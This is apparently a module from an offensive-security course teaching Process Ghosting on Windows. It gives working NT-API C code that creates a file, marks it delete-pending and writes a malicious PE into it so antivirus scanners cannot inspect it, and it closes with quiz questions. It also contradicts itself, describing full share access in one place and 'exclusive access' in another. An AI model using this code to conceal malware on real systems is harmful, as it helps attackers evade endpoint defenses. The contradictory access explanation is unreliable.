Module 4: Creating the Ghost File
The first phase of Process Ghosting — creating a file, marking it for deletion, and writing the payload into a file that is already condemned.
Module Objective
Implement the first half of the Process Ghosting chain: creating a temporary file with NtCreateFile using FILE_SUPERSEDE, marking it delete-pending via NtSetInformationFile with FileDispositionInformation, and writing the malicious PE payload into the delete-pending file. Understand why each parameter and flag is chosen.
1. Step 1: Creating the Temporary File
The first step is creating a file on disk that will temporarily hold our payload PE. This file only needs to exist long enough for us to create a section from it. The file path can be anything writable — typically a temp directory:
HANDLE hFile = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK iosb = { 0 };
OBJECT_ATTRIBUTES objAttr = { 0 };
UNICODE_STRING filePath;
// Path for the temporary ghost file
RtlInitUnicodeString(&filePath,
L"\\??\\C:\\Users\\Public\\ghost.exe");
InitializeObjectAttributes(
&objAttr,
&filePath,
OBJ_CASE_INSENSITIVE,
NULL,
NULL
);
NTSTATUS status = NtCreateFile(
&hFile,
GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
&objAttr,
&iosb,
NULL, // AllocationSize (auto)
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, // ShareAccess
FILE_SUPERSEDE, // CreateDisposition
FILE_SYNCHRONOUS_IO_NONALERT, // CreateOptions
NULL, // EaBuffer
0 // EaLength
);
Key Parameter Analysis
| Parameter | Value | Why |
|---|---|---|
DesiredAccess | GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE | GENERIC_WRITE for writing payload, DELETE for marking delete-pending, SYNCHRONIZE for synchronous I/O |
ShareAccess | FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE (0x7) | Full sharing — the delete-pending state itself prevents other processes from opening the file, so exclusive access is not required |
CreateDisposition | FILE_SUPERSEDE | Creates new file or replaces existing one. Clean slate regardless of prior state. |
CreateOptions | FILE_SYNCHRONOUS_IO_NONALERT | Synchronous I/O simplifies subsequent write operations |
2. Understanding FILE_SUPERSEDE
FILE_SUPERSEDE is the create disposition that means: if the file exists, delete it and create a new empty file; if it does not exist, create a new file. This is equivalent to CREATE_ALWAYS in Win32 terms but goes through a slightly different code path in the kernel.
| CreateDisposition | File Exists | File Does Not Exist | Win32 Equivalent |
|---|---|---|---|
FILE_SUPERSEDE | Replace (delete + create) | Create new | CREATE_ALWAYS |
FILE_CREATE | Fail | Create new | CREATE_NEW |
FILE_OPEN | Open existing | Fail | OPEN_EXISTING |
FILE_OPEN_IF | Open existing | Create new | OPEN_ALWAYS |
FILE_OVERWRITE | Open and truncate | Fail | TRUNCATE_EXISTING |
FILE_OVERWRITE_IF | Open and truncate | Create new | CREATE_ALWAYS |
FILE_SUPERSEDE is preferred for ghosting because it guarantees a clean file regardless of what was there before, and it does not require the file to pre-exist.
3. Step 2: Marking Delete-Pending
With the file handle open, we immediately mark it for deletion using NtSetInformationFile. This must happen before writing the payload:
// Mark the file as delete-pending
FILE_DISPOSITION_INFORMATION dispInfo = { 0 };
dispInfo.DeleteFile = TRUE;
status = NtSetInformationFile(
hFile,
&iosb,
&dispInfo,
sizeof(FILE_DISPOSITION_INFORMATION),
FileDispositionInformation // InfoClass = 13
);
Why Delete-Pending BEFORE Writing?
This order is critical. If we wrote the payload first and then tried to mark delete-pending, there is a window where the file exists on disk with malicious content and no deletion mark. An AV real-time scanner monitoring file writes could detect the payload during this window. By marking delete-pending first, we ensure that from the moment the payload touches the file, no other process can open it (they get STATUS_DELETE_PENDING).
After this call succeeds, the file is in the delete-pending state. Our handle is still fully functional, but any new attempt to open the file by another process will fail. The AV file system minifilter may see the NtSetInformationFile call, but at this point the file contains no payload yet — it is empty.
4. Step 3: Writing the Payload
Now we write the malicious PE into the delete-pending file. The file is condemned but our handle still works:
// Assume payloadBuffer contains the malicious PE bytes
// and payloadSize is its size
LARGE_INTEGER byteOffset = { 0 };
status = NtWriteFile(
hFile,
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&iosb,
payloadBuffer, // Buffer containing the PE
payloadSize, // Length
&byteOffset, // ByteOffset (start of file)
NULL // Key
);
What Gets Written
The payload is a complete, valid PE file. It must be a properly formed executable because the kernel will parse it as a PE when creating the SEC_IMAGE section. This means valid MZ/PE headers, correct section alignment, valid entry point RVA, and proper import table (if imports are needed). The payload is typically read from an embedded resource, a separate file, or received over the network.
// Loading the payload PE from a file (the source of the malicious image)
HANDLE hPayloadFile = CreateFileW(
L"C:\\path\\to\\payload.exe",
GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
DWORD payloadSize = GetFileSize(hPayloadFile, NULL);
BYTE* payloadBuffer = (BYTE*)HeapAlloc(
GetProcessHeap(), 0, payloadSize);
ReadFile(hPayloadFile, payloadBuffer, payloadSize, NULL, NULL);
CloseHandle(hPayloadFile);
// Now payloadBuffer contains the PE to ghost
5. The File State After These Steps
After completing steps 1-3, the system is in the following state:
Current State Summary
| Component | State |
|---|---|
| File on disk | Exists in MFT, data clusters contain the malicious PE, but marked delete-pending |
| File handle (hFile) | Open, fully functional for read/write/section creation |
| Other processes | Cannot open the file (STATUS_DELETE_PENDING) |
| AV scanner | Cannot scan the file — cannot open it |
| Directory listing | File may or may not appear depending on the query method |
6. Error Handling Considerations
Robust implementations must handle several potential failure points:
// Complete ghost file creation with error handling
NTSTATUS CreateGhostFile(
LPCWSTR filePath,
PBYTE payloadBuffer,
DWORD payloadSize,
PHANDLE phFile)
{
HANDLE hFile = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK iosb = { 0 };
OBJECT_ATTRIBUTES objAttr = { 0 };
UNICODE_STRING ntPath;
NTSTATUS status;
// Convert to NT path
RtlInitUnicodeString(&ntPath, filePath);
InitializeObjectAttributes(&objAttr, &ntPath,
OBJ_CASE_INSENSITIVE, NULL, NULL);
// Step 1: Create the file
status = NtCreateFile(
&hFile,
GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
&objAttr, &iosb, NULL,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_SUPERSEDE,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL, 0);
if (!NT_SUCCESS(status)) {
// File creation failed - path not writable,
// permissions issue, etc.
return status;
}
// Step 2: Mark delete-pending
FILE_DISPOSITION_INFORMATION dispInfo = { 0 };
dispInfo.DeleteFile = TRUE;
status = NtSetInformationFile(
hFile, &iosb, &dispInfo,
sizeof(dispInfo),
FileDispositionInformation);
if (!NT_SUCCESS(status)) {
// Could not mark for deletion
NtClose(hFile);
return status;
}
// Step 3: Write the payload
LARGE_INTEGER offset = { 0 };
status = NtWriteFile(
hFile, NULL, NULL, NULL, &iosb,
payloadBuffer, payloadSize,
&offset, NULL);
if (!NT_SUCCESS(status)) {
// Write failed - close handle (file gets deleted)
NtClose(hFile);
return status;
}
*phFile = hFile;
return STATUS_SUCCESS;
}
Critical: Do Not Close the Handle Yet
After writing the payload, the file handle must remain open. Closing it would trigger the actual deletion (since the file is delete-pending), and we would lose our payload before we can create a section from it. The handle will be closed only after the section is successfully created in Module 5.
7. AV Minifilter Interaction Timeline
Understanding when AV minifilter callbacks fire during this process reveals why the technique evades detection:
| Event | Minifilter Callback | What AV Sees |
|---|---|---|
NtCreateFile | IRP_MJ_CREATE / pre/post create | New empty file being created — nothing malicious |
NtSetInformationFile | IRP_MJ_SET_INFORMATION | File marked for deletion — empty file being deleted (benign) |
NtWriteFile | IRP_MJ_WRITE | Data being written to a delete-pending file. AV might try to scan, but the file is delete-pending and exclusive — it cannot get a second handle to read it. |
The key evasion: even if the AV minifilter sees the write IRP, it cannot independently open the file to scan it because the file is delete-pending with exclusive access.
8. Implementation in hasherezade’s PoC
Process Ghosting was discovered and documented by Gabriel Landau of Elastic Security. In the proof-of-concept process_ghosting repository, hasherezade wraps these operations in helper functions. The core logic follows the exact pattern described above, using the NT-native API throughout to avoid Win32-level hooks and monitoring:
// Conceptual representation of the hasherezade implementation
bool make_ghost_file(
const wchar_t* ghostPath,
BYTE* payload, size_t payloadSize,
HANDLE &outFileHandle)
{
HANDLE hFile = nullptr;
// NtCreateFile with FILE_SUPERSEDE, exclusive access
if (!nt_create_file(ghostPath, &hFile)) return false;
// NtSetInformationFile - mark delete pending
if (!nt_set_delete_pending(hFile, true)) {
NtClose(hFile);
return false;
}
// NtWriteFile - write the payload PE
if (!nt_write_file(hFile, payload, payloadSize)) {
NtClose(hFile);
return false;
}
outFileHandle = hFile;
return true; // handle stays open for section creation
}
The function returns the open handle, which is passed to the next phase (section creation) covered in Module 5.
Knowledge Check
Q1: Why is the file marked delete-pending BEFORE writing the malicious payload?
Q2: What does FILE_SUPERSEDE do as a CreateDisposition?
Q3: What happens if you close the file handle immediately after writing the payload (before creating the section)?